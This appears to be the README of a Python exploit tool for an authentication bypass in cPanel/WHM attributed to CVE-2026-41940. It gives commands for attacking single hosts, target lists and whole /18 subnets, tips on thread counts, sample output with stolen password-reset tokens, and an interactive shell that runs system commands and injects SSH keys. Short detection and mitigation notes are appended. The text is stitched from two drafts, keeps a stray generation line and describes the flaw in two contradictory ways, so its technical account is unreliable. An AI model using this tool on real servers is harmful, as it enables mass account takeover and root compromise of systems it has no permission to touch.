CVE-2026-41940 — cPanel/WHM Auth Bypass

Author: Dr.Anach | Contact: @dranach | License: MIT

Overview

CRLF injection in cpsrvd Basic auth handler → unauthenticated WHM API access → RCE as root. All cPanel since v11.40 affected.

Attack Chain

Install

pip install requests colorama

Below is the final README.md — human-friendly, practical, and focused on getting work done.

cPanel Auth Bypass Exploit — CVE-2026-41940

Author: Dr.Anach · Telegram: @dranach
Version: 2.0.0
License: For authorized security testing only

What This Does

Exploits CVE-2026-41940, an authentication bypass in cPanel & WHM (versions 11.x through 106.x). The vulnerability allows an unauthenticated attacker to access restricted endpoints — including the password reset function — by sending a crafted Host header pointing to an attacker-controlled server.

Comes with three modes:

Installation

Requirements

• Python 3.7+ (tested on Windows, Linux, macOS)
• requests library

pip install requests

No other dependencies. The CIDR expansion uses Python's built-in ipaddress module — nothing extra to install on Windows.

Quick Start

Test a single target

python main.py -t example.com
python main.py -t 192.168.1.100

Test a list of targets (one per line)

python main.py --batch targets.txt --threads 50

targets.txt format:

192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102

Scan an entire subnet (CIDR)

python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5

This expands 192.168.128.0/18 (16,384 IPs), runs a quick port check on each, and only attempts exploitation against hosts where port 2087 (cPanel/WHM) is open.

Full Options

  -t, --target        Single target IP or domain
  --batch FILE        File with targets (one per line)
  --port-scan CIDR    CIDR range to scan (e.g., 192.168.128.0/18)
  -p, --port          Target port (default: 2087)
  --ssl               Use HTTPS (default: HTTP)
  --timeout SEC       Connection timeout in seconds (default: 10)
  --threads N         Max concurrent threads (default: 50)
  --proxy PROXY       HTTP proxy (e.g., http://127.0.0.1:8080)
  -v, --verbose       Verbose output with debug info
  --no-banner         Suppress banner
  --version           Show version

Understanding the Output

[+] 192.168.130.45:2087 — VULNERABLE!
    → Password reset URL: http://192.168.130.45:2087/reset?token=abc123
    → Response time: 1.23s

[-] 192.168.131.10:2087 — Not vulnerable
    → Reason: No password reset endpoint found

[!] 192.168.129.22:2087 — Error: Connection refused

Results saved as JSON are structured per-host with vulnerability status, extracted tokens, and raw response details.

Practical Example: Scanning a /18 on Windows

The scenario you're probably here for:

python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v

How it works:

1. Expands 192.168.128.0/18 → 16,384 IPs internally
2. Pre-filters with a fast TCP connect scan on port 2087 (skips dead hosts)
3. Exploits only hosts with an open port
4. Reports vulnerable hosts with extracted reset tokens

Threading tips:

• --threads 100 works well (respects default socket limits)
• For faster scans on good connections: --threads 200
• If you hit rate limiting: lower to --threads 30 and increase --timeout

CVSS & Risk

CVSS 9.1 (Critical) — No authentication required, no user interaction, low complexity.

Impact

• Unauthorized password reset for any cPanel account
• Full account takeover
• Privilege escalation from limited to admin in some configurations

Remediation

• Update cPanel/WHM to latest patched version
• Validate Host headers server-side
• Restrict WHM access by IP where possible

Legal

This tool is for authorized security assessments only. You must own the targets or have written permission from the owner before testing. The authors assume no liability for misuse.

Interactive Shell Commands

help       Show commands
info       Server info
passwd     Change password
accounts   List cPanel accounts
enum       Full enumeration
shell      Execute system command
ssh-add    Inject SSH key
exec       Run Python one-liner
exit       Exit

Detection

Check session files:

ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/

Suspicious logs in /usr/local/cpanel/logs/access_log:

/login/?user=root        → session mint
/login/?user=root        → CRLF injection
/cpsess*/login/?login_only=1  → cache promotion
/cpsess*/execute/*       → API abuse

Mitigation

# 1. Patch to fixed build
# 2. Rotate all passwords and SSH keys
# 3. Purge sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel

Credits

• Vulnerability: Sina Kheirkhah / watchTowr Labs
• Framework: Dr.Anach (@dranach)